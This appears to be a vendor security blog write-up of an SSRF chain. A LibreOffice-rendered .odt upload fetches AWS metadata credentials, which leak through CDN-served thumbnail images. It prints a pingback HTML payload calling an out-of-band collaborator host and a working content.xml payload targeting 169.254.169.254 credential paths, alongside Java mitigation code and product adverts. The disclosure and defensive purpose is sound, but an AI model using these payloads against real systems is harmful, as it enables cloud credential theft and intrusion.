This bug is a case study of a crippling critical severity bug on a multi-billion dollar Organization.
This blog unpacks a sophisticated attack chain that exploits file upload and image processing workflows to exfiltrate AWS temporary credentials via a CDN. By manipulating file extension whitelisting, I was able to upload .odt (OpenDocument Text) files, which were subsequently parsed by LibreOffice on the backend to generate image previews. Leveraging a Server-Side Request Forgery (SSRF) vulnerability during this parsing process, I extracted AWS temporary credentials. These credentials were then stealthily embedded into a PNG image, which was automatically served through the application’s CDN infrastructure.Â
This blog will walk through the technical steps of bypassing file restrictions, abusing document conversion pipelines, and writing malicious .odt files. Readers will gain insight into the risks posed by chained vulnerabilities in modern web and cloud environments, and learn practical detection and mitigation strategies to safeguard against similar threats.
Tags: SSRF, AWS, File Upload, LibreOffice
File uploads are everywhere—from profile pictures to document previews—but they’re also among the most complex and dangerous surfaces in modern web applications. This is a deep dive into how we found and exploited a file upload feature in a multi-billion dollar SaaS platform (REDACTED) to execute server-side request forgery (SSRF) and ultimately leak temporary AWS credentials.
No fancy payloads. No cross-site scripting. Just a file upload interface, some XML, and an unexpected backend player: LibreOffice.
When applications allow users to upload files, they typically implement validation mechanisms—like MIME type checks, extension whitelists, antivirus scanning, and content inspection. These controls are often good enough to block simple attacks.
But trust begins to erode when an application allows uploading files by URL. This feature, while user-friendly, becomes an instant candidate for Server-Side Request Forgery (SSRF).
SSRF is a vulnerability where an attacker tricks a server into making HTTP requests to internal or protected endpoints. This can result in access to internal admin panels, cloud metadata services, or even other services running on the same network.
‍
Overview of SSRF. Credits: cheatsheetseries.owasp.org
We attempted to upload a file via URL.Â
Initially uploading with a URL with an unsupported extension ( the extension of our choice not added in assetTypeVsSupportedExtensionsMap parameter ) would get an "message":"Extension unsupported! Error message.
By modifying the extension whitelist in the request, we were able to upload unsupported files like .html. The server accepted them, and rendered a preview.
Client-side file extension whitelist
So we have,Â
That meant something on the backend was:
But what was doing the rendering?
To identify the software generating thumbnails, we needed visibility into how the system handled our uploads. Since the preview image was generated server-side, we couldn't directly observe what happened during rendering. So we tried a pingback technique.
We uploaded an HTML file with a tag that would force any rendering engine to make a request to our server:
<html>
<head>
<title>ping back</title>
</head>
<body>
<img src="https://7z7hkyr4dm3gk2jee00rny0dg4mvapbd0.oastify.com/section_confirm_ping"></img>
</body
‍
If the rendering engine attempted to process this HTML file to generate the preview, it would need to parse this HTML in order to generate the preview thumbnail image, during the parsing process, the backend would hit our server—revealing its identity via headers, especially the User-Agent headers.
We received a request with a User-Agent string revealing that the backend used LibreOffice to process the uploaded documents and generate previews.
Pingback confirms LibreOffice in use at the backend
This was a breakthrough.
LibreOffice is an open-source office suite commonly used in server environments for headless document processing—automated conversions, thumbnail generation, PDF exports, etc.
LibreOffice supports parsing complex document types like ODT (OpenDocument Text), which are ZIP archives containing XML files, as seen in the below image. Below is a test .odt file and its contents when uncompressed. You can see it is majorly XML and heavily would rely on a XML parser.
 Structure of an ODT file
‍
Critically, it also supports dynamic content loading through attributes like xlink:href within its content.xml file.
That means you can create a document that references external resources. When LibreOffice renders it, it will attempt to fetch those resources—even if they point to internal services.
We have an opening now and an action plan. Let’s get to it.
An .odt file contains a file called content.xml, which holds the main body of the document. In it, we embedded the following SSRF payload:
<text:sequence-decl text:display-outline-level="0" text:name="Text"/><text:sequence-decl text:display-outline-level="0" text:name="Drawing"/><text:sequence-decl text:display-outline-level="0" text:name="Figure"/></text:sequence-decls><text:p text:style-name="P1">TEST</text:p>
‍
<text:section text:name="metadataFetcherSection">
      <text:section-source xlink:href="http://169.254.169.254/latest/meta-data/iam/security-credentials/prodX-red-eks-node-role" xlink:type="simple" xlink:show="embed" xlink:actuate="onLoad"/>
      <text:p text:style-name="Standard"/>
  </text:section>
‍
  <text:section text:name="metadataFetcherSection">
      <text:section-source xlink:href="http://169.254.169.254/latest/dynamic/instance-identity/document" xlink:type="simple" xlink:show="embed" xlink:actuate="onLoad"/>
      <text:p text:style-name="Standard"/>
  </text:section>
‍
  <text:section text:name="confirmationPingSection">
      <text:section-source xlink:href="http://169.254.169.254/latest/meta-data/iam/security-credentials/" xlink:type="simple" xlink:show="embed" xlink:actuate="onLoad"/>
      <text:p text:style-name="Standard"/>
 Â
In the backend, This instructs LibreOffice to load the content from the AWS metadata service, which lives at a special internal IP address (169.254.169.254) used by EC2 instances to expose sensitive information—like temporary access keys for IAM roles.Â
This content, fetched dynamically by the xlink:href would sit within the TextArea block, eventually embedded within the .odt file, eventually making itself the “Face” of the document.
The preview thumbnail generated is more like a picture of the face i.e. the document.
Post this, after we have our payload within content.xml, we need to compress the folder back to the original .odt file and upload it via the URL parameter.
Want to practice this kind of SSRF attack and learn how to defend against it in real-world Java applications?
Try our hands-on course: Attacking and Defending SSRF (Server-Side Request Forgery) with Java EE
Custom crafted .odt file with payload uploaded
‍
The Entire Attack FlowÂ
‍
This was blind SSRF turned full SSRF with data exfiltration.
If this exploit gave you chills, wait till you see how another multi-cloud setup was breached in How Hackers Exploited REDACTED in a Multi-Cloud Security Breach—a story just as eye-opening.
The treasure: AWS Temporary Credentials leaked via the Org CDN
‍
An Attempt to OCR extract the tokens from the image proved to be close to impossible. A little bit of manual intervention was needed to get our hands on the final treasure.
The tokens post extraction gave complete access to AWS Secretmanager revealing close to a 100 secrets across the Organization!
Curious how AWS EC2 metadata services work—or how attackers target them in cloud environments? Start with the essentials in this course:
AWS EC2 and Network Security Basics
This exploit didn’t involve technically super complex chains or obscure bugs. It relied on:
This kind of exploit is exactly what modern threat modeling should catch before code ever reaches production. SecurityReview.ai brings AI-driven threat modeling to your DevSecOps pipeline flagging risks in components like LibreOffice before they become real-world breaches.
These vulnerabilities often exist not because of bad intent—but due to lack of deep cloud security training. Read Top Cloud Security Training Challenges for Large FinTechs to see why even massive teams fall short.
Possible Mitigation given a backend running Java
When loading any ODT document using XComponentLoader.loadComponentFromURL(), we must pass an array of PropertyValue objects that explicitly tells LibreOffice not to update external links.
This would prevent LibreOffice from loading any links. It would not go through the process of updating the doc with any sort of dynamic content.
Specific Property:
Name = "UpdateDocMode"
Value = com.sun.star.document.UpdateDocMode.NO_UPDATE
// Conceptual Java Code Snippet:
import com.sun.star.beans.PropertyValue;
import com.sun.star.document.UpdateDocMode;
import com.sun.star.frame.XComponentLoader;
// ... assume xCompLoader is initialized
PropertyValue[] loadProps = new PropertyValue[2]; // Or more if other props are needed
loadProps[0] = new PropertyValue();
loadProps[0].Name = "UpdateDocMode";
loadProps[0].Value = UpdateDocMode.NO_UPDATE; // CRITICAL: Prevents link updates
loadProps[1] = new PropertyValue();
loadProps[1].Name = "Hidden"; // Good practice for backend
loadProps[1].Value = Boolean.TRUE;
XComponent document = xCompLoader.loadComponentFromURL(
  "file:///path/to/untrusted.odt", // The URL to the ODT file
  "_blank",           // Target frame
  0,               // Search flags
  loadProps           // Our critical load properties
);
A golden reference to read more about LibreOffice and its bag of vulnerabilities and suggestions on mitigations:Â A Tale of Exploitation in Spreadsheet File Conversions
If you’re building or operating in cloud-native environments, a security review isn’t optional. we45’s Cloud Security Assessment Services help detect chained vulnerabilities like SSRF and insecure file handling before attackers do.
We turned a harmless-looking media upload interface into a powerful SSRF exploit using nothing more than a document file and a well-placed XML attribute. The fact that this worked in such a large-scale platform reinforces a vital truth: security assumptions around third-party software and media processing are often flawed.
So next time your app renders a document or a thumbnail, remember—even pixels can leak secrets.
Want to go beyond just reading about these breaches? Check out Your Ultimate Guide to Multi Cloud Security Training with AppSecEngineer for structured, hands-on cloud security mastery.
AppSecEngineer is your one-stop platform for mastering secure coding, cloud security, and vulnerability exploitation with live labs and real-world attack simulations.